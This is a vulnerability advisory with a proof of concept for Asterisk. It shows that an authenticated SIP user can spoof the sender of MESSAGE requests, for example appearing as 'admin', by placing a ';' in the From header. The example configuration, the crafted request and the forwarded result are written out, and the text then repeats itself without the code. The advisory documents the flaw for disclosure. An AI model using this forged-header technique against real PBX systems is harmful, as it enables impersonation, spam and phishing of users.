Summary
SIP requests of the type MESSAGE (RFC 3428) authentication are not get proper alignment in the affected versions of Asterisk. An authenticated attacker can spoof any user identity to send spam messages to the user with his authorization token. e.g. Use john token to send a fake message that appeared to come from admin.
Impact
Abuse of this security issue allows authenticated attackers to send fake chat messages can be spoofed to appear to come from trusted entities. Even administrators who follow Security best practices and Security Considerations can be impacted. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks.
Poc
We configured pjsip.conf in the following way. (Refer to https://github.com/asterisk/asterisk/blob/master/configs/samples/pjsip.conf.sample)
[transport-udp]
type=transport
protocol=udp
bind=192.168.77.136
local_net=192.168.77.0/24
[winmizuphone]
type=aor
max_contacts=100
[winmizuphone]
type=endpoint
transport=transport-udp
context=from-internal
disallow=all
allow=ulaw
auth=winmizuphone
aors=winmizuphone
[winmizuphone]
type=auth
auth_type=userpass
password=winmizuphone
username=winmizuphone
[attacker]
type=aor
max_contacts=100
[attacker]
type=endpoint
transport=transport-udp
context=from-internal
disallow=all
allow=ulaw
auth=attacker
aors=attacker
[attacker]
type=auth
auth_type=userpass
password=attacker
username=attacker
We configured extensions.conf in the following way.
[from-internal]
exten => winjami,1,NoOp(Sending message to ${EXTEN})
same => n,Set(USER=${EXTEN})
same => n,MessageSend(pjsip:${USER}@${SIPPEER(${USER},ip)},${MESSAGE(from)})
The attacker sends the following message to the SIP server as an attacker
MESSAGE sip:winjami@192.168.77.136 SIP/2.0
Supported: replaces, outbound, gruu, path, record-aware
Accept: application/sdp
Accept: text/plain
Contact: <sip:attacker@192.168.77.136:36907;transport=udp>
User-Agent: Linphone-Desktop/5.2.6 (MDI) osx/15.0 Qt/5.15.2 LinphoneSDK/5.3.72
Max-Forwards: 70
Call-ID: 147655ffc6054e96bc19f9d7683daa25
To: <sip:winjami@192.168.77.136>
Content-Type: text/plain
From: admin;<sip:attacker@192.168.77.136>
Authorization: Digest realm="asterisk", nonce="1742386715/e0d14f81078631cb85072a4ae9fa841c", username="attacker", uri="sip:winjami@192.168.77.136", response="184d429815ba9ee84ee58789e40153a1", cnonce="aIl8m-Q2wXEN35KS",nc=00000001, qop=auth, opaque="20bd751e0efc2ffc"
CSeq: 2 MESSAGE
Via: SIP/2.0/UDP 192.168.77.136:36907;branch=z9hG4bKrAGFv29vTE;rport
Content-Length: 91
This is the nickname that sent from attacker: Hello World! 147655ffc6054e96bc19f9d7683daa25
After receiving the message, Asterisk forwarded the following message
MESSAGE sip:winjami@192.168.77.144:5070 SIP/2.0
Via: SIP/2.0/UDP 192.168.77.136:5060;rport;branch=z9hG4bKPj6f3e2e64-28ab-46b8-9f0d-e997840e3773
From: <sip:admin@192.168.77.136>;tag=cb7edaf0-621e-4396-905e-3774a3233f66
To: <sip:winjami@192.168.77.144>
Contact: <sip:winjami@192.168.77.136:5060>
Call-ID: 87ebda06-c52e-4e78-bdcc-9eb0efb01b0c
CSeq: 27956 MESSAGE
Max-Forwards: 70
User-Agent: Asterisk PBX 22.1.1
Content-Type: text/plain
Content-Length: 91
This is the nickname that sent from attacker: Hello World! 147655ffc6054e96bc19f9d7683daa25
This shows that Asterisk may have incorrectly processed the separator ";", allowing the attacker to forge the identity of the admin.
Acknowledgement
Qi Wang (Tsinghua University & Zhongguancun Laboratory)@EkiXu, Jingcheng Yang (Tsinghua University)@P3ngu1nW, Jianjun Chen (Tsinghua University & Zhongguancun Laboratory)@chenjj
Summary
SIP requests of the type MESSAGE (RFC 3428) authentication are not get proper alignment in the affected versions of Asterisk. An authenticated attacker can spoof any user identity to send spam messages to the user with his authorization token. e.g. Use john token to send a fake message that appeared to come from admin.
Impact
Abuse of this security issue allows authenticated attackers to send fake chat messages can be spoofed to appear to come from trusted entities. Even administrators who follow Security best practices and Security Considerations can be impacted. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks.
Poc
We configured pjsip.conf in the following way. (Refer to https://github.com/asterisk/asterisk/blob/master/configs/samples/pjsip.conf.sample)
We configured extensions.conf in the following way.
The attacker sends the following message to the SIP server as an attacker
After receiving the message, Asterisk forwarded the following message
This shows that Asterisk may have incorrectly processed the separator ";", allowing the attacker to forge the identity of the admin.
Acknowledgement
Qi Wang (Tsinghua University & Zhongguancun Laboratory)@EkiXu, Jingcheng Yang (Tsinghua University)@P3ngu1nW, Jianjun Chen (Tsinghua University & Zhongguancun Laboratory)@chenjj